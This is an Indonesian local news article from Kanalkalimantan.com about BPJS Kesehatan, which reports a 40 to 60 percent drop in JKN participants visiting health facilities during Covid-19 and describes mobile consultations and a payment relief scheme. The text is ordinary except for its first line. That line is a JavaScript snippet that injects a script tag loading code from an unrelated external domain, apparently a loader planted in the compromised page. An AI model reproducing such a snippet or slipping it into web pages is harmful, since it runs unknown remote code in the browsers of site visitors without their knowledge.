(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kota Banjarmasin

Selama Pandemi Covid-19, BPJS Kesehatan Akui Peserta JKN Sempat Menurun


KANALKALIMANTAN.COM, BANJARMASIN – Pandemi Covid-19 ternyata juga berdampak pada BPJS Kesehatan. Ini terlihat dari menurunnya peserta JKN selama pandemi Covid-19 sejak Maret 2020 silam sebesar 40 hingga 60 persen.

“Memang sedikit banyak, dengan adanya wabah Covid-19 ini membawa dampak kepada peserta JKN yang berobat ke faskes (fasilitas kesehatan). Itu ada penurunan sekitar 40 sampai 60 persen,” tutur Deputi Direksi BPJS Kesehatan Wilayah Kaltimtengseltara Priyo Hadi Susatyo di sela gathering dengan awak media di Golden Tulip Hotel Banjarmasin, Senin (7/9/2020) sore.

Penurunan peserta JKN sendiri terjadi dari bulan Maret hingga Juni 2020.

Namun, Priyo menambahkan, peserta JKN kembali merangkak naik di bulan Juli 2020. “Masyarakat sudah mulai berani memanfaatkan kembali faskes untuk berobat,” imbuhnya.

Priyo memastikan, BPJS Kesehatan tidak mengalami kerugian akibat penurunan peserta JKN selama pandemi Covid-19. Karena, BPJS Kesehatan tidak menghitung untung-rugi.

“Yang terpenting bagaimana BPJS menyikapi dan memberikan jaminan pelayanan kepada peserta, di saat situasi seperti apapun. Seperti di wabah Covid-19 ini, kami melakukan mobile faskes dan peserta bisa chatting dan berkonsultasi langsung dengan dokter melalui chatting,” terang Priyo.

Ia mengklaim, pemanfaatan teknologi dengan mobile faskes ini memberikan rasa aman kepada peserta JKN.

Disamping itu, di tengah pandemi Covid-19 juga berdampak pada pola penarikan iuran dari peserta JKN. Dimana, peserta dari kalangan perusahaan keluar sebagai dampak terjadinya PHK.

“Namun di beberapa kabupaten dan kota, peserta JKN yang terdampak PHK itu mendapatkan program-program pemerintah, sehingga harapannya balance. Masyarakat yang terkena PHK bisa ter-cover oleh program dari pemerintah daerah itu,” tandasnya.

Selain mobile faskes, BPJS Kesehatan juga menerapkan protokol kesehatan di kantor cabang BPJS Kesehatan baik di Banjarmasin maupun daerah-daerah lainnya di Kalimantan Selatan.

Disamping itu, Priyo juga memastikan ada program relaksasi, di mana peserta JKN diberikan keringanan membayar iuran, yang sejak dimulai sejak Agustus 2020, baik untuk peserta mandiri maupun badan usaha.

“Yang punya piutang lebih dari 6 bulan, kita ringankan. Cukup bayar 6 bulan plus satu, sisanya dicicil dan diberi waktu sampai akhir tahun 2021. Ketika bayar, sudah bisa aktif dan sisanya dicicil,” pungkasnya. (Kanalkalimantan.com/fikri)

Reporter : Fikri
Editor : Cell

Al Ghifari

Recent Posts

Wali Kota Aditya Pilih Pertahankan Tugu Adipura, ATCS Jadi Mubazir?

KANALKALIMANTAN.COM, BANJARBARU - Nasib Tugu Adipura yang menjadi salah satu ikon Ibu Kota Provinsi Kalimantan… Read More

1 jam ago

BRImo FSTVL 2024: Ratusan Ribu Hadiah Menanti Nasabah BRI! Nabung Lebih Banyak, Untung Lebih Besar!

KANALKALIMANTAN.COM - Kabar bahagia untuk nasabah BRI dan pengguna aplikasi mobile banking BRImo. Saat ini,… Read More

3 jam ago

Proyek Jembatan Atanik Mataraman Molor, Cor Beton Belum Dikerjakan

Terancam Tak Bisa Dilewati Jemaah Haul ke-20 Sekumpul Read More

4 jam ago

Arsip Tak Boleh Jadi Bungkus Kacang

Dispersip Kalsel Musnahkan Arsip Tiga Instansi Read More

4 jam ago

Tinggal Seorang Diri, Diana Didapati Tak Bernyawa di Kamar

KANALKALIMANTAN.COM, BANJARBARU – Jasad berjenis kelamin perempuan didapati warga Landasan Ulin Timur tak bernyawa di… Read More

6 jam ago

Kota Banjarbaru Terima Dump Truck Penghargaan Adipura 2023

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi (Pemprov) Kalimantan Selatan (Kalsel) menggelar acara penyerahan hadiah penghargaan Adipura… Read More

6 jam ago

This website uses cookies.